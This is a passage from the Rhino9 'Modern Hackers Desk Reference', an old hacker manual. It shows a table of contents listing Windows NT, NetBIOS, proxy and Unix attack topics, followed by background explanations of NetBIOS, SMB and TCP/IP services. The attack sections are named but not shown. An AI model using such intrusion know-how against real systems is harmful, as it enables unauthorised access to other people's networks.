The MH DeskReference

Version 1.2

Written/Assembled by

The Rhino9 Team

[0.0.0] Preface

[0.0.1] The Rhino9 Team

[0.0.2] Disclaimer

[0.0.3] Thanks and Greets

[1.0.0] Preface To NetBIOS

[1.0.1] What is NetBIOS?

[1.0.2] NetBIOS Names

[1.0.3] NetBIOS Sessions

[1.0.4] NetBIOS Datagrams

[1.0.5] NetBEUI Explained

[1.0.6] NetBIOS Scopes

[1.2.0] Preface to SMB's

[1.2.1] What are SMB's?

[1.2.2] The Redirector

[2.0.0] What is TCP/IP?

[2.0.1] FTP Explained

[2.0.2] Remote Login

[2.0.3] Computer Mail

[2.0.4] Network File Systems

[2.0.5] Remote Printing

[2.0.6] Remote Execution

[2.0.7] Name Servers

[2.0.8] Terminal Servers

[2.0.9] Network-Oriented Window Systems

[2.1.0] General description of the TCP/IP protocols

[2.1.1] The TCP Level

[2.1.2] The IP level

[2.1.3] The Ethernet level

[2.1.4] Well-Known Sockets And The Applications Layer

[2.1.5] Other IP Protocols

[2.1.6] Domain Name System

[2.1.7] Routing

[2.1.8] Subnets and Broadcasting

[2.1.9] Datagram Fragmentation and Reassembly

[2.2.0] Ethernet encapsulation: ARP

[3.0.0] Preface to the WindowsNT Registry

[3.0.1] What is the Registry?

[3.0.2] In Depth Key Discussion

[3.0.3] Understanding Hives

[3.0.4] Default Registry Settings

[4.0.0] Introduction to PPTP

[4.0.1] PPTP and Virtual Private Networking

[4.0.2] Standard PPTP Deployment

[4.0.3] PPTP Clients

[4.0.4] PPTP Architecture

[4.0.5] Understanding PPTP Security

[4.0.6] PPTP and the Registry

[4.0.7] Special Security Update

[5.0.0] TCP/IP Commands as Tools

[5.0.1] The Arp Command

[5.0.2] The Traceroute Command

[5.0.3] The Netstat Command

[5.0.4] The Finger Command

[5.0.5] The Ping Command

[5.0.6] The Nbtstat Command

[5.0.7] The IpConfig Command

[5.0.8] The Telnet Command

[6.0.0] NT Security

[6.0.1] The Logon Process

[6.0.2] Security Architecture Components

[6.0.3] Introduction to Securing an NT Box

[6.0.4] Physical Security Considerations

[6.0.5] Backups

[6.0.6] Networks and Security

[6.0.7] Restricting the Boot Process

[6.0.8] Security Steps for an NT Operating System

[6.0.9] Install Latest Service Pack and applicable hot-fixes

[6.1.0] Display a Legal Notice Before Log On

[6.1.1] Rename Administrative Accounts

[6.1.2] Disable Guest Account

[6.1.3] Logging Off or Locking the Workstation

[6.1.4] Allowing Only Logged-On Users to Shut Down the Computer

[6.1.5] Hiding the Last User Name

[6.1.6] Restricting Anonymous network access to Registry

[6.1.7] Restricting Anonymous network access to lookup account names and network shares

[6.1.8] Enforcing strong user passwords

[6.1.9] Disabling LanManager Password Hash Support

[6.2.0] Wiping the System Page File during clean system shutdown

[6.2.1] Protecting the Registry

[6.2.2] Secure EventLog Viewing

[6.2.3] Secure Print Driver Installation

[6.2.4] The Schedule Service (AT Command)

[6.2.5] Secure File Sharing

[6.2.6] Auditing

[6.2.7] Threat Action

[6.2.8] Enabling System Auditing

[6.2.9] Auditing Base Objects

[6.3.0] Auditing of Privileges

[6.3.1] Protecting Files and Directories

[6.3.2] Services and NetBios Access From Internet

[6.3.3] Alerter and Messenger Services

[6.3.4] Unbind Unnecessary Services from Your Internet Adapter Cards

[6.3.5] Enhanced Protection for Security Accounts Manager Database

[6.3.6] Disable Caching of Logon Credentials during interactive logon.

[6.3.7] How to secure the %systemroot%\repair\sam._ file

[6.3.8] TCP/IP Security in NT

[6.3.9] Well known TCP/UDP Port numbers

[7.0.0] Preface to Microsoft Proxy Server

[7.0.1] What is Microsoft Proxy Server?

[7.0.2] Proxy Servers Security Features

[7.0.3] Beneficial Features of Proxy

[7.0.4] Hardware and Software Requirements

[7.0.5] What is the LAT?

[7.0.6] What is the LAT used for?

[7.0.7] What changes are made when Proxy Server is installed?

[7.0.8] Proxy Server Architecture

[7.0.9] Proxy Server Services: An Introduction

[7.1.0] Understanding components

[7.1.1] ISAPI Filter

[7.1.2] ISAPI Application

[7.1.3] Proxy Servers Caching Mechanism

[7.1.4] Windows Sockets

[7.1.5] Access Control Using Proxy Server

[7.1.6] Controlling Access by Internet Service

[7.1.7] Controlling Access by IP, Subnet, or Domain

[7.1.8] Controlling Access by Port

[7.1.9] Controlling Access by Packet Type

[7.2.0] Logging and Event Alerts

[7.2.1] Encryption Issues

[7.2.2] Other Benefits of Proxy Server

[7.2.3] RAS

[7.2.4] IPX/SPX

[7.2.5] Firewall Strategies

[7.2.6] Logical Construction

[7.2.7] Exploring Firewall Types

[7.2.3] NT Security Twigs and Ends

[8.0.0] NetBIOS Attack Methods

[8.0.1] Comparing NAT.EXE to Microsoft's own executables

[8.0.2] First, a look at NBTSTAT

[8.0.3] Intro to the NET commands

[8.0.4] Net Accounts

[8.0.5] Net Computer

[8.0.6] Net Config Server or Net Config Workstation

[8.0.7] Net Continue

[8.0.8] Net File

[8.0.9] Net Group

[8.1.0] Net Help

[8.1.1] Net Helpmsg message#

[8.1.2] Net Localgroup

[8.1.3] Net Name

[8.1.4] Net Pause

[8.1.5] Net Print

[8.1.6] Net Send

[8.1.7] Net Session

[8.1.8] Net Share

[8.1.9] Net Statistics Server or Workstation

[8.2.0] Net Stop

[8.2.1] Net Time

[8.2.2] Net Use

[8.2.3] Net User

[8.2.4] Net View

[8.2.5] Special note on DOS and older Windows Machines

[8.2.6] Actual NET VIEW and NET USE Screen Captures during a hack

[9.0.0] Frontpage Extension Attacks

[9.0.1] For the tech geeks, we give you an actual PWDUMP

[9.0.2] The haccess.ctl file

[9.0.3] Side note on using John the Ripper

[10.0.0] WinGate

[10.0.1] What Is WinGate?

[10.0.2] Defaults After a WinGate Install

[10.0.3] Port 23 Telnet Proxy

[10.0.4] Port 1080 SOCKS Proxy

[10.0.5] Port 6667 IRC Proxy

[10.0.6] How Do I Find and Use a WinGate?

[10.0.7] I have found a WinGate telnet proxy now what?

[10.0.8] Securing the Proxys

[10.0.9] mIRC 5.x WinGate Detection Script

[10.1.0] Conclusion

[11.0.0] What a security person should know about WinNT

[11.0.1] NT Network structures (Standalone/WorkGroups/Domains)

[11.0.2] How does the authentication of a user actually work

[11.0.3] A word on NT Challenge and Response

[11.0.4] Default NT user groups

[11.0.5] Default directory permissions

[11.0.6] Common NT accounts and passwords

[11.0.7] How do I get the admin account name?

[11.0.8] Accessing the password file in NT

[11.0.9] Cracking the NT passwords

[11.1.0] What is 'last login time'?

[11.1.1] Ive got Guest access, can I try for Admin?

[11.1.2] I heard that the %systemroot%\system32 was writeable?

[11.1.3] What about spoofin DNS against NT?

[11.1.4] What about default shared folders?

[11.1.5] How do I get around a packet filter-based firewall?

[11.1.6] What is NTFS?

[11.1.7] Are there are vulnerabilities to NTFS and access controls?

[11.1.8] How is file and directory security enforced?

[11.1.9] Once in, how can I do all that GUI stuff?

[11.2.0] How do I bypass the screen saver?

[11.2.1] How can tell if its an NT box?

[11.2.2] What exactly does the NetBios Auditing Tool do?

[12.0.0] Cisco Routers and their configuration

[12.0.1] User Interface Commands

[12.0.2] disable

[12.0.3] editing

[12.0.4] enable

[12.0.5] end

[12.0.6] exit

[12.0.7] full-help

[12.0.8] help

[12.0.9] history

[12.1.0] ip http access-class

[12.1.1] ip http port

[12.1.2] ip http server

[12.1.3] menu (EXEC)

[12.1.4] menu (global)

[12.1.5] menu command

[12.1.6] menu text

[12.1.7] menu title

[12.1.8] show history

[12.1.9] terminal editing

[12.2.0] terminal full-help (EXEC)

[12.2.1] terminal history

[12.2.2] Network Access Security Commands

[12.2.3] aaa authentication arap

[12.2.4] aaa authentication enable default

[12.2.5] aaa authentication local-override

[12.2.6] aaa authentication login

[12.2.7] aaa authentication nasi

[12.2.8] aaa authentication password-prompt

[12.2.9] aaa authentication ppp

[12.3.0] aaa authentication username-prompt

[12.3.1] aaa authorization

[12.3.2] aaa authorization config-commands

[12.3.3] aaa new-model

[12.3.4] arap authentication

[12.3.5] clear kerberos creds

[12.3.6] enable last-resort

[12.3.7] enable use-tacacs

[12.3.8] ip radius source-interface

[12.3.9] ip tacacs source-interface

[12.4.0] kerberos clients mandatory

[12.4.1] kerberos credentials forward

[12.4.2] kerberos instance map

[12.4.3] kerberos local-realm

[12.4.4] kerberos preauth

[12.4.5] kerberos realm

[12.4.6] kerberos server

[12.4.7] kerberos srvtab entry

[12.4.8] kerberos srvtab remote

[12.4.9] key config-key

[12.5.0] login tacacs

[12.5.1] nasi authentication

[12.5.2] ppp authentication

[12.5.3] ppp chap hostname

[12.5.4] ppp chap password

[12.5.5] ppp pap sent-username

[12.5.6] ppp use-tacacs

[12.5.7] radius-server dead-time

[12.5.8] radius-server host

[12.5.9] radius-server key

[12.6.0] radius-server retransmit

[12.6.1] show kerberos creds

[12.6.2] show privilege

[12.6.3] tacacs-server key

[12.6.4] tacacs-server login-timeout

[12.6.5] tacacs-server authenticate

[12.6.6] tacacs-server directed-request

[12.6.7] tacacs-server key

[12.6.8] tacacs-server last-resort

[12.6.9] tacacs-server notify

[12.7.0] tacacs-server optional-passwords

[12.7.1] tacacs-server retransmit

[12.7.2] tacacs-server timeout

[12.7.3] Traffic Filter Commands

[12.7.4] access-enable

[12.7.5] access-template

[12.7.6] clear access-template

[12.7.7] show ip accounting

[12.7.8] Terminal Access Security Commands

[12.7.9] enable password

[12.8.0] enable secret

[12.8.1] ip identd

[12.8.2] login authentication

[12.8.3] privilege level (global)

[12.8.4] privilege level (line)

[12.8.5] service password-encryption

[12.8.6] show privilege

[12.8.7] username

[12.8.8] A Word on Ascend Routers

[13.0.0] Known NT/95/IE Holes

[13.0.1] WINS port 84

[13.0.2] WindowsNT and SNMP

[13.0.3] Frontpage98 and Unix

[13.0.4] TCP/IP Flooding with Smurf

[13.0.5] SLMail Security Problem

[13.0.6] IE 4.0 and DHTML

[13.0.7] 2 NT Registry Risks

[13.0.8] Wingate Proxy Server

[13.0.9] O'Reilly Website uploader Hole

[13.1.0] Exchange 5.0 Password Caching

[13.1.1] Crashing NT using NTFS

[13.1.2] The GetAdmin Exploit

[13.1.3] Squid Proxy Server Hole

[13.1.4] Internet Information Server DoS attack

[13.1.5] Ping Of Death II

[13.1.6] NT Server's DNS DoS Attack

[13.1.7] Index Server Exposes Sensitive Material

[13.1.8] The Out Of Band (OOB) Attack

[13.1.9] SMB Downgrade Attack

[13.2.0] RedButton

[13.2.1] FrontPage WebBot Holes

[13.2.2] IE and NTLM Authentication

[13.2.3] Run Local Commands with IE

[13.2.4] IE can launch remote apps

[13.2.5] Password Grabbing Trojans

[13.2.6] Reverting an ISAPI Script

[13.2.7] Rollback.exe

[13.2.8] Replacing System .dll's

[13.2.9] Renaming Executables

[13.3.0] Viewing ASP Scripts

[13.3.1] .BAT and .CMD Attacks

[13.3.2] IIS /..\.. Problem

[13.3.3] Truncated Files

[13.3.4] SNA Holes

[13.3.5] SYN Flooding

[13.3.6] Land Attack

[13.3.7] Teardrop

[13.3.8] Pentium Bug

[14.0.0] VAX/VMS Makes a comeback (expired user exploit)

[14.0.1] Step 1

[14.0.2] Step 2

[14.0.3] Step 3

[14.0.4] Note

[15.0.0] Linux security 101

[15.0.1] Step 1

[15.0.2] Step 2

[15.0.3] Step 3

[15.0.4] Step 4

[15.0.5] Step 5

[15.0.6] Step 6

[16.0.0] Unix Techniques. New and Old.

[16.0.1] ShowMount Technique

[16.0.2] DEFINITIONS

[16.0.3] COMPARISION TO THE MICROSOFT WINDOWD FILESHARING

[16.0.4] SMBXPL.C

[16.0.5] Basic Unix Commands

[16.0.6] Special Chracters in Unix

[16.0.7] File Permissions Etc..

[16.0.8] STATD EXPLOIT TECHNIQUE

[16.0.9] System Probing

[16.1.0] Port scanning

[16.1.1] rusers and finger command

[16.1.2] Mental Hacking, once you know a username

[17.0.0] Making a DDI from a Motorola Brick phone

[18.0.0] Pager Programmer

[19.0.0] The End

This book was written/compiled by The Rhino9 Team as a document for the modern hacker. We chose to call it the Modern Hackers Desk Reference because it mostly deals with Networking Technologies and Windows NT issues. Which, as everyone knows, is a must knowledge these days. Well, rhino9, as the premiere NT Security source, we have continually given to the security community freely. We continue this tradition now with this extremely useful book. This book covers WindowsNT security issues, Unix, Linux, Irix, Vax, Router configuration, Frontpage, Wingate and much much more.

At the time of release, the rhino9 team is:

This text document is released FREE of charge to EVERYONE. The rhino9 team made NO profits from this text. This text is NOT meant for re-sale, or for trade for any other type of material or monetary possesions. This text is given freely to the Internet community. The authors of this text do not take responsibility for damages incurred during the practice of any of the information contained within this text document.

Extra special greetings and serious mad ass props to NeonSurge’s fiance SisterMoon, and Chameleon’s woman, Jayde. Special thanks to the people at ntsecurity.net. Special thanks to Simple Nomad for releasing the NT HACK FAQ which was used in the making of this document. Thanks to Cisco Systems for making such superior equipment. Thanks to the guy from Lucent Technologies, whose text file was used during one of the NT Security sections (if you see this, contact me so I can give you proper credit). Special props go out to Virtual of Cybrids for his information on CellPhones and Pagers. Special props to Phreak-0 for his Unix contributions. Mad props to Hellmaster for the Vax info. Thanks to Rloxley and the rest of X-Treme for helping with the distribution and advertising of this document. Thanks to Merlin45 for being the marketing pimp that he is. Greetings to Cybrids, Intercore, X-Treme, L0pht, CodeZero (grins), 2600 Magazine (thanks for your vigilance on the Mitnick case).

Before you begin reading this section, understand that this section was written for the novice to the concept of NetBIOS, but - it also contains information the veteran might find educational. I am prefacing this so that I do not get e-mail like "Why did you start your NetBIOS section off so basic?" - Simple, its written for people that may be coming from an enviroment that does not use NetBIOS, so they would need me to start with basics, thanks.

NetBIOS (Network Basic Input/Output System) was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources. Since its creation, NetBIOS has become the basis for many other networking applications. In its strictest sense, NetBIOS is an interface specification for acessing networking services.

NetBIOS, a layer of software developed to link a network operating system with specific hardware, was originally designed as THE network controller for IBM's Network LAN. NetBIOS has now been extended to allow programs written using the NetBIOS interface to operate on the IBM token ring architecture. NetBIOS has since been adopted as an industry standard and now, it is common to refer to NetBIOS-compatible LANs.

It offers network applications a set of "hooks" to carry out inter-application communication and data transfer. In a basic sense, NetBIOS allows applications to talk to the network. Its intention is to isolate application programs from any type of hardware dependancies. It also spares software developers the task of developing network error recovery and low level message addressing or routing. The use of the NetBIOS interface does alot of this work for them.

NetBIOS standardizes the interface between applications and a LANs operating capabilities. With this, it can be specified to which levels of the OSI model the application can write to, making the application transportable to other networks. In a NetBIOS LAN enviroment, computers are known on the system by a name. Each computer on the network has a permanent name that is programmed in various different ways. These names will be discussed in more detail below.

PC's on a NetBIOS LAN communicate either by establishing a session or by using NetBIOS datagram or broadcast methods. Sessions allow for a larger message to be sent and handle error detection and correction. The communication is on a one-to-one basis. Datagram and broadcast methods allow one computer to communicate with several other computers at the same time, but are limited in message size. There is no error detection or correction using these datagram or broadcast methods. However, datagram communication allows for communication without having to establish a session.

All communication in these enviroments are presented to NetBIOS in a format called Network Control Blocks (NCB). The allocation of these blocks in memory is dependant on the user program. These NCB's are divided into fields, these are reserved for input and output respectively.

NetBIOS is a very common protocol used in todays enviroments. NetBIOS is supported on Ethernet, TokenRing, and IBM PC Networks. In its original induction, it was defined as only an interface between the application and the network adapter. Since then, transport like functions have been added to NetBIOS, making it more functional over time.

In NetBIOS, connection (TCP) oriented and connectionless (UDP) communication are both supported. It supports both broadcasts and multicasting and supports three distinct services: Naming, Session, and Datagram.

NetBIOS names are used to identify resources on a network. Applications use these names to start and end sessions. You can configure a single machine with multiple applications, each of which has a unique NetBIOS name. Each PC that supports an application also has a NetBIOS station name that is user defined or that NetBIOS derives by internal means.

NetBIOS can consist of up to 16 alphanumeric characters. The combination of characters must be unique within the entire source routing network. Before a PC that uses NetBIOS can fully function on a network, that PC must register their NetBIOS name.

When a client becomes active, the client advertises their name. A client is considered to be registered when it can successfully advertise itself without any other client claiming it has the same name. The steps of the registration process is as follows:

1. Upon boot up, the client broadcasts itself and its NetBIOS information anywhere from 6 to 10 to ensure every other client on the network receives the information.

2. If another client on the network already has the name, that NetBIOS client issues its own broadcast to indicate that the name is in use. The client who is trying to register the already in use name, stop all attempts to register that name.

3. If no other client on the network objects to the name registration, the client will finish the registration process.

There are two types of names in a NetBIOS enviroment: Unique and Group. A unique name must be unique across the network. A group name does not have to be unique and all processes that have a given group name belong to the group. Each NetBIOS node maintains a table of all names currently owned by that node.

The NetBIOS naming convention allows for 16 characters in a NetBIOS name. Microsoft, however, limits these names to 15 characters and uses the 16th character as a NetBIOS suffix. A NetBIOS suffix is used by Microsoft Networking software to indentify the functionality installed or the registered device or service.

[QuickNote: SMB and NBT (NetBIOS over TCP/IP work very closely together and both use ports 137, 138, 139. Port 137 is NetBIOS name UDP. Port 138 is NetBIOS datagram UDP. Port 139 is NetBIOS session TCP. For further information on NetBIOS, read the paper at the rhino9 website listed above]

The following is a table of NetBIOS suffixes currently used by Microsoft WindowsNT. These suffixes are displayed in hexadecimal format.

Name Number Type Usage

==========================================================================

<computername> 00 U Workstation Service

<computername> 01 U Messenger Service

<\\_MSBROWSE_> 01 G Master Browser

<computername> 03 U Messenger Service

<computername> 06 U RAS Server Service

<computername> 1F U NetDDE Service

<computername> 20 U File Server Service

<computername> 21 U RAS Client Service

<computername> 22 U Exchange Interchange

<computername> 23 U Exchange Store

<computername> 24 U Exchange Directory

<computername> 30 U Modem Sharing Server Service

<computername> 31 U Modem Sharing Client Service

<computername> 43 U SMS Client Remote Control

<computername> 44 U SMS Admin Remote Control Tool

<computername> 45 U SMS Client Remote Chat

<computername> 46 U SMS Client Remote Transfer

<computername> 4C U DEC Pathworks TCPIP Service

<computername> 52 U DEC Pathworks TCPIP Service

<computername> 87 U Exchange MTA

<computername> 6A U Exchange IMC

<computername> BE U Network Monitor Agent

<computername> BF U Network Monitor Apps

<username> 03 U Messenger Service

<domain> 00 G Domain Name

<domain> 1B U Domain Master Browser

<domain> 1C G Domain Controllers

<domain> 1D U Master Browser

<domain> 1E G Browser Service Elections

<INet~Services> 1C G Internet Information Server

<IS~Computer_name> 00 U Internet Information Server

<computername> [2B] U Lotus Notes Server

IRISMULTICAST [2F] G Lotus Notes

IRISNAMESERVER [33] G Lotus Notes

Forte_$ND800ZA [20] U DCA Irmalan Gateway Service

Unique (U): The name may have only one IP address assigned to it. On a network device, multiple occurences of a single name may appear to be registered, but the suffix will be unique, making the entire name unique.

Group (G): A normal group; the single name may exist with many IP addresses.

Multihomed (M): The name is unique, but due to multiple network interfaces on the same computer, this configuration is necessary to permit the registration. Maximum number of addresses is 25.

Internet Group (I): This is a special configuration of the group name used to manage WinNT domain names.

Domain Name (D): New in NT 4.0

For a quick and dirty look at a servers registered NetBIOS names and services, issue the following NBTSTAT command:

nbtstat -A [ipaddress]

nbtstat –a [host]

The NetBIOS session service provides a connection-oriented, reliable, full-duplex message service to a user process. NetBIOS requires one process to be the client and the other to be the server. NetBIOS session establishment requires a preordained cooperation between the two stations. One application must have issued a Listen command when another application issues a Call command. The Listen command references a name in its NetBIOS name table (or WINS server), and also the remote name an application must use to qualify as a session partner. If the receiver (listener) is not already listening, the Call will be unsuccessful. If the call is successful, each application receives notification of session establishment with the session-id. The Send and Receive commands the transfer data. At the end of a session, either application can issue a Hang-Up command. There is no real flow control for the session service because it is assumed a LAN is fast enough to carry the required traffic.

Datagrams can be sent to a specific name, sent to all members of a group, or broadcast to the entire LAN. As with other datagram services, the NetBIOS datagrams are connectionless and unreliable. The Send_Datagram command requires the caller to specify the name of the destination. If the destination is a group name, then every member of the group receives the datagram. The caller of the Receive_Datagram command must specify the local name for which it wants to receive datagrams. The Receive_Datagram command also returns the name of the sender, in addition to the actual datagram data. If NetBIOS receives a datagram, but there are no Receive_Datagram commands pending, then the datagram is discarded.

The Send_Broadcast_Datagram command sends the message to every NetBIOS system on the local network. When a broadcast datagram is received by a NetBIOS node, every process that has issued a Receive_Broadcast_Datagram command receives the datagram. If none of these commands are outstanding when the broadcast datagram is received, the datagram is discarded.

NetBIOS enables an application to establish a session with another device and lets the network redirector and transaction protocols pass a request to and from another machine. NetBIOS does not actually manipulate the data. The NetBIOS specification defines an interface to the network protocol used to reach those services, not the protocol itself. Historically, has been paired with a network protocol called NetBEUI (network extended user interface). The association of the interface and the protocol has sometimes caused confusion, but the two are different.

Network protocols always provide at least one method for locating and connecting to a particular service on a network. This is usually accomplished by converting a node or service name to a network address (name resolution). NetBIOS service names must be resolved to an IP address before connections can be established with TCP/IP. Most NetBIOS implementations for TCP/IP accomplish name address resolution by using either broadcast or LMHOSTS files. In a Microsoft enviroment, you would probably also use a NetBIOS Namer Server known as WINS.

NetBEUI is an enhanced version of the NetBIOS protocol used by network operating systems. It formalizes the transport frame that was never standardized in NetBIOS and adds additional functions. The transport layer driver frequently used by Microsofts LAN Manager. NetBEUI implements the OSI LLC2 protocol. NetBEUI is the original PC networking protocol and interface designed by IBM for the LanManger Server. This protocol was later adopted by Microsoft for their networking products. It specifies the way that higher level software sends and receives messages over the NetBIOS frame protocol. This protocol runs over the standard 802.2 data-link protocol layer.

A NetBIOS Scope ID provides an extended naming service for the NetBIOS over TCP/IP (Known as NBT) module. The primary purpose of a NetBIOS scope ID is to isolate NetBIOS traffic on a single network to only those nodes with the same NetBIOS scope ID. The NetBIOS scope ID is a character string that is appended to the NetBIOS name. The NetBIOS scope ID on two hosts must match, or the two hosts will not be able to communicate. The NetBIOS Scope ID also allows computers to use the same computer namee as they have different scope IDs. The Scope ID becomes a part of the NetBIOS name, making the name unique.

The reason I decided to write this section was because recently the rhino9 team has been giving speeches and lectures. The two questions we most frequently come across is "What is NetBIOS?" and "What are SMBs?". Well I hope I have already answered the NetBIOS question with the section above. This particular section is being written to better help people understand SMB's.

Server Message Blocks are a type of "messaging protocol" that LAN Manager (and NT) clients and servers use to communicate with each other. SMB's are a higher level protocol that can be transported over NetBEUI, NetBIOS over IPX, and NetBIOS over TCP/IP (or NBT).

SMBs are used by Windows 3.X, Win95, WintNT and OS/2. When it comes to security and the compromise of security on an NT network, the one thing to remember about SMBs is that it allows for remote access to shared directories, the registry, and other system services, making it a deadly protocol in the eyes of security conscience people.

The SMB protocol was originally developed by IBM, and then jointly developed by Microsoft and IBM. Network requests that are sent using SMB's are encoded as Network Control Blocks (NCB) data structures. The NCB data structures are encoded in SMB format for transmission across the network. SMB is used in many Microsoft and IBM networking software:

• MS-Net
• IBM PC Network
• IBM LAN Server
• MS LAN Manager
• LAN Manager for Unix
• DEC Pathworks
• MS Windows for Workgroups
• Ungermann-Bass Net/1
• NT Networks through support for LAN Manager

SMB Messages can be categorized into four types:

Session Control: Used to establish or discontinue Redirector connections with a remote network resource such as a directory or printer. (The redirector is explained below)

File: Used to access and manipulate file system resources on the remote computer.

Printer: Used by the Redirector to send print data to a remote printer or queue, and to obtain the status of remote print devices.

Message: Used by applications and system components to send unicast or broadcast messages.

The Redirector is the component that enables a client computer to gain access to resources on another computer as if the remote resources were local to the client computer. The Redirector communicates with other computers using the protocol stack.

The Redirectors primary function is to format remote requests so that they can be understood by a remote station (such as a file server) and send them on their way through the network.

The Redirector uses the Server Message Block (SMB) structure as the standard vehicle for sending these requests. The SMB is also the vehicle by which stations return responses to Redirector requests.

Each SMB contains a header consisting of the command code (which specifies the task that the redirector wants the remote station to perform) and several environment and parameter fields (which specify how the command should be carried out).

In addition to the header, the last field in the SMB may contain up to 64K of data to be sent to the remote station.

TCP/IP is a set of protocols developed to allow cooperating computers to share resources across a network. It was developed by a community of researchers centered around the ARPAnet (Advanced Research Projects Agency). Certainly the ARPAnet is the best-known TCP/IP network. However as of June, 87, at least 130 different vendors had products that support TCP/IP, and thousands of networks of all kinds use it.

First some basic definitions. The most accurate name for the set of protocols we are describing is the "Internet protocol suite". TCP and IP are two of the protocols in this suite. (They will be described below.) Because TCP and IP are the best known of the protocols, it has become common to use the term TCP/IP to refer to the whole family.

The Internet is a collection of networks, including the Arpanet, NSFnet, regional networks such as NYsernet, local networks at a number of University and research institutions, and a number of military networks and a growing number of private corporation owned networks. The term "Internet" applies to this entire set of networks. The subset of them that is managed by the Department of Defense is referred to as the "DDN" (Defense Data Network). This includes some research-oriented networks, such as the Arpanet, as well as more strictly military ones. All of these networks are connected to each other. Users can send messages from any of them to any other, except where there are security or other policy restrictions on access.

Officially speaking, the Internet protocol documents are simply standards adopted by the Internet community for its own use. More recently, the Department of Defense issued a MILSPEC definition of

TCP/IP. This was intended to be a more formal definition, appropriate for use in purchasing specifications. However most of the TCP/IP community continues to use the Internet standards. The MILSPEC version is intended to be consistent with it.

Whatever it is called, TCP/IP is a family of protocols. A few provide "low-level" functions needed for many applications. These include IP, TCP, and UDP. (These will be described in a bit more detail later.)

Others are protocols for doing specific tasks, e.g. transferring files between computers, sending mail, or finding out who is logged in on another computer. Initially TCP/IP was used mostly between

minicomputers or mainframes. These machines had their own disks, and generally were self-contained. Thus the most important "traditional" TCP/IP services are:

The file transfer protocol (FTP) allows a user on any computer

to get files from another computer, or to send files to another

computer. Security is handled by requiring the user to specify a user

name and password for the other computer, or logging into a system that

allows for Anonymous logins. Provisions are made for

handling file transfer between machines with different character set,

end of line conventions, etc. This is not quite the same thing as more

recent "network file system" or "NetBIOS" protocols, which will be

described below. Rather, FTP is a utility that you run any time you

want to access a file on another system. You use it to copy the file

to your own system. You then work with the local copy. (See RFC 959

for specifications for FTP.)

The network terminal protocol (TELNET) allows a user to log in

on any other computer on the network. You start a remote session by

specifying a computer to connect to. From that time until you finish

the session, anything you type is sent to the other computer. Note

that you are really still talking to your own computer. But the telnet

program effectively makes your computer invisible while it is

running. Every character you type is sent directly to the other

system. Generally, the connection to the remote computer behaves much

like a dialup connection. That is, the remote system will ask you to

log in and give a password, in whatever manner it would normally ask a

user who had just dialed it up. When you log off of the other

computer, the telnet program exits, and you will find yourself talking

to your own computer. Microcomputer implementations of telnet

generally include a terminal emulator for some common type of

terminal. (See RFC's 854 and 855 for specifications for telnet. By the

way, the telnet protocol should not be confused with Telenet, a vendor

of commercial network services.)

This allows you to send messages to users on other

computers. Originally, people tended to use only one or two specific

computers. They would maintain "mail files" on those machines. The

computer mail system is simply a way for you to add a message to

another user's mail file. There are some problems with this in an

environment where microcomputers are used. The most serious is that a

micro is not well suited to receive computer mail. When you send mail,

the mail software expects to be able to open a connection to the

addressee's computer, in order to send the mail. If this is a

microcomputer, it may be turned off, or it may be running an

application other than the mail system. For this reason, mail is

normally handled by a larger system, where it is practical to have a

mail server running all the time. Microcomputer mail software then

becomes a user interface that retrieves mail from the mail

server. (See RFC 821 and 822 for specifications for computer mail. See

RFC 937 for a protocol designed for microcomputers to use in reading

mail from a mail server.)

These services should be present in any implementation of TCP/IP, except that micro-oriented implementations may not support computer mail. These traditional applications still play a very important role in TCP/IP-based networks. However more recently, the way in which networks are used has been changing. The older model of a number of large, self-sufficient computers is beginning to change. Now many installations have several kinds of computers, including microcomputers, workstations, minicomputers, and mainframes. These computers are likely to be configured to perform specialized

tasks. Although people are still likely to work with one specific computer, that computer will call on other systems on the net for specialized services. This has led to the "server/client" model of network services. A server is a system that provides a specific service for the rest of the network. A client is another system that uses that service. (Note that the server and client need not be on different computers. They could be different programs running on the same computer.)

Here are the kinds of servers typically present in a modern computer setup. Note that these computer services can all be provided within the framework of TCP/IP.

This allows a system to access files on another computer in a

somewhat more closely integrated fashion than FTP. A network file

system provides the illusion that disks or other devices from one

system are directly connected to other systems. There is no need to

use a special network utility to access a file on another system. Your

computer simply thinks it has some extra disk drives. These extra

"virtual" drives refer to the other system's disks. This capability is

useful for several different purposes. It lets you put large disks on

a few computers, but still give others access to the disk space. Aside

from the obvious economic benefits, this allows people working on

several computers to share common files. It makes system maintenance

and backup easier, because you don't have to worry about updating and

backing up copies on lots of different machines. A number of vendors

now offer high-performance diskless computers. These computers have no

disk drives at all. They are entirely dependent upon disks attached to

common "file servers". (See RFC's 1001 and 1002 for a description of

PC-oriented NetBIOS over TCP. In the workstation and minicomputer

area, Sun's Network File System is more likely to be used. Protocol

specifications for it are available from Sun Microsystems.)

This allows you to access printers on other computers as if

they were directly attached to yours. (The most commonly used protocol

is the remote lineprinter protocol from Berkeley Unix. Unfortunately,

there is no protocol document for this. However the C code is easily

obtained from Berkeley, so implementations are common.)

This allows you to request that a particular program be run on

a different computer. This is useful when you can do most of your work

on a small computer, but a few tasks require the resources of a larger

system. There are a number of different kinds of remote execution.

Some operate on a command by command basis. That is, you request that

a specific command or set of commands should run on some specific

computer. (More sophisticated versions will choose a system that

happens to be free.) However there are also "remote procedure call"

systems that allow a program to call a subroutine that will run on

another computer. (There are many protocols of this sort. Berkeley

Unix contains two servers to execute commands remotely: rsh and

rexec. The man pages describe the protocols that they use. The

user-contributed software with Berkeley 4.3 contains a "distributed

shell" that will distribute tasks among a set of systems, depending

upon load. Remote procedure call mechanisms have been a topic for

research for a number of years, so many organizations have

implementations of such facilities. The most widespread

commercially-supported remote procedure call protocols seem to be

Xerox's Courier and Sun's RPC. Protocol documents are available from

Xerox and Sun. There is a public implementation of Courier over TCP as

part of the user-contributed software with Berkeley 4.3. An

implementation of RPC was posted to Usenet by Sun, and also appears as

part of the user-contributed software with Berkeley 4.3.)

In large installations, there are a number of different

collections of names that have to be managed. This includes users and

their passwords, names and network addresses for computers, and

accounts. It becomes very tedious to keep this data up to date on all

of the computers. Thus the databases are kept on a small number of

systems. Other systems access the data over the network. (RFC 822 and

823 describe the name server protocol used to keep track of host names

and Internet addresses on the Internet. This is now a required part of

any TCP/IP implementation. IEN 116 describes an older name server

protocol that is used by a few terminal servers and other products to

look up host names. Sun's Yellow Pages system is designed as a general

mechanism to handle user names, file sharing groups, and other

databases commonly used by Unix systems. It is widely available

commercially. Its protocol definition is available from Sun.)

Many installations no longer connect terminals directly to

computers. Instead they connect them to terminal servers. A terminal

